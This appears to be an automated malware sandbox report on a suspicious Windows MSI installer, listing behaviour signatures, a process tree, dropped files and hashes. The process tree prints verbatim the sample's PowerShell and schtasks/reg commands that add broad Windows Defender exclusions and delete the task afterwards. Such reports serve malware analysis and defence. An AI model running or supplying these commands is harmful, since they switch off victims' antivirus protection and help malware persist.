Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 21:53

General

  • Target
    Install_28n001.msi
  • Size 7.7MB
  • Sample260728-1rqlpsca57
  • SHA256 2cdfae6b0d8662a5b45f8ea6b442cd84f39c954794e75d30c13e4ced3594c72b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 9 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Install_28n001.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2544
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4860
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3588
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding EEBF1F436E4A7E8056C9EBFC0C29D40A E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3292
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:3044
  • C:\Users\Public\2xmkxF\qsx9Yp.exe
    "C:\Users\Public\2xmkxF\qsx9Yp.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3128
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\2xmkxF\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4708
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\2xmkxF\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4508
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5908
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5208
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4220
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3548
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3792
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4340
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2316
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:456
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4320
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4936
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1372
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4600
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3552
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5556
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1916
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1508
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5844
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:6052
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\2xmkxF" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5972
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\2xmkxF" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:1572
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4660
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5416
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3012
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3340
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4084
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5656
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5156
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4848
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5084

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              e597844.rbs

                              • Path C:\Config.Msi\e597844.rbs
                              • Size 7KB
                              • SHA256 76114994e504d5a295b8216ffc9c396b0484706b9d6b69757fb9ec9263bee7f4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\2xmkxF\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 daa4f1a47f22b1c6daf9a52c82dc95842fadb3ad0e50e6047c688a7fd5eba43e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\2xmkxF\adoresd.dat
                              • Size 4.8MB
                              • SHA256 f2d83cbbbc307655c78939f390a44ec87d9368b2ccdb88d9a08bb6d465c1b88d
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\2xmkxF\msadox.tb
                              • Size 8KB
                              • SHA256 1730da0df84e37289ccd9d4e85c58803f944f5be4a2bcb3503034d880d567959
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              qsx9Yp.exe

                              • Path C:\Users\Public\2xmkxF\qsx9Yp.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              MSI7F59.tmp

                              • Path C:\Windows\Installer\MSI7F59.tmp
                              • Size 7.7MB
                              • SHA256 8e94f1b2fd82b6e354f845b45782f03202b1decdf3f32b7a6446cae4e7ac1ecc
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              e597843.msi

                              • Path C:\Windows\Installer\e597843.msi
                              • Size 7.7MB
                              • SHA256 2cdfae6b0d8662a5b45f8ea6b442cd84f39c954794e75d30c13e4ced3594c72b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              metadata-2

                              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                              • Size 26.1MB
                              • SHA256 408270e8a661182ccb14969b94f3e50094943d61eb3d6c0b7b8ffbd60da998ac
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              {7f73f66b-a404-4ccf-8826-e51b4dca16ee}_OnDiskSnapshotProp

                              • Path \??\Volume{c61f8367-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{7f73f66b-a404-4ccf-8826-e51b4dca16ee}_OnDiskSnapshotProp
                              • Size 6KB
                              • SHA256 b37d2f6a40e625cad7c50e4902de93fcbdd4692975943a099bc22d403275c2b1
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1232-65-0x00007FFCCDC80000-0x00007FFCCDC82000-memory.dmp

                              memory/1232-90-0x000002076ABB0000-0x000002076B46E000-memory.dmp

                              memory/1232-57-0x00007FFCCDC70000-0x00007FFCCDC72000-memory.dmp

                              memory/1232-58-0x00007FFCAA250000-0x00007FFCAA76E000-memory.dmp

                              memory/1232-92-0x000002076ABB0000-0x000002076B46E000-memory.dmp

                              memory/1232-83-0x000002076A090000-0x000002076A0DE000-memory.dmp

                              memory/1232-63-0x000002076ABB0000-0x000002076B46E000-memory.dmp

                              memory/1232-86-0x000002076B470000-0x000002076B4FA000-memory.dmp

                              memory/1232-66-0x000002076ABB0000-0x000002076B46E000-memory.dmp

                              memory/1232-70-0x000002076ABB0000-0x000002076B46E000-memory.dmp

                              memory/1232-71-0x000002076ABB0000-0x000002076B46E000-memory.dmp

                              memory/1232-72-0x000002076ABB0000-0x000002076B46E000-memory.dmp

                              memory/1232-73-0x000002076ABB0000-0x000002076B46E000-memory.dmp

                              memory/1232-77-0x000002076ABB0000-0x000002076B46E000-memory.dmp

                              memory/1232-85-0x000002076B470000-0x000002076B4FA000-memory.dmp

                              memory/1232-88-0x000002076B470000-0x000002076B4FA000-memory.dmp

                              memory/1232-87-0x000002076B470000-0x000002076B4FA000-memory.dmp

                              memory/3128-102-0x0000020AC4950000-0x0000020AC4972000-memory.dmp

                              memory/3128-105-0x0000020AC4980000-0x0000020AC499E000-memory.dmp

                              memory/3128-106-0x0000020ADCE40000-0x0000020ADCEF2000-memory.dmp

                              memory/3128-108-0x0000020AC4940000-0x0000020AC494A000-memory.dmp

                              memory/3292-12-0x00007FFCCDC70000-0x00007FFCCDC72000-memory.dmp

                              memory/3292-13-0x00007FFCAA100000-0x00007FFCAA761000-memory.dmp

                              memory/3292-40-0x00007FFCBE190000-0x00007FFCBE1A2000-memory.dmp

                              memory/3292-16-0x00007FFCBE190000-0x00007FFCBE1A2000-memory.dmp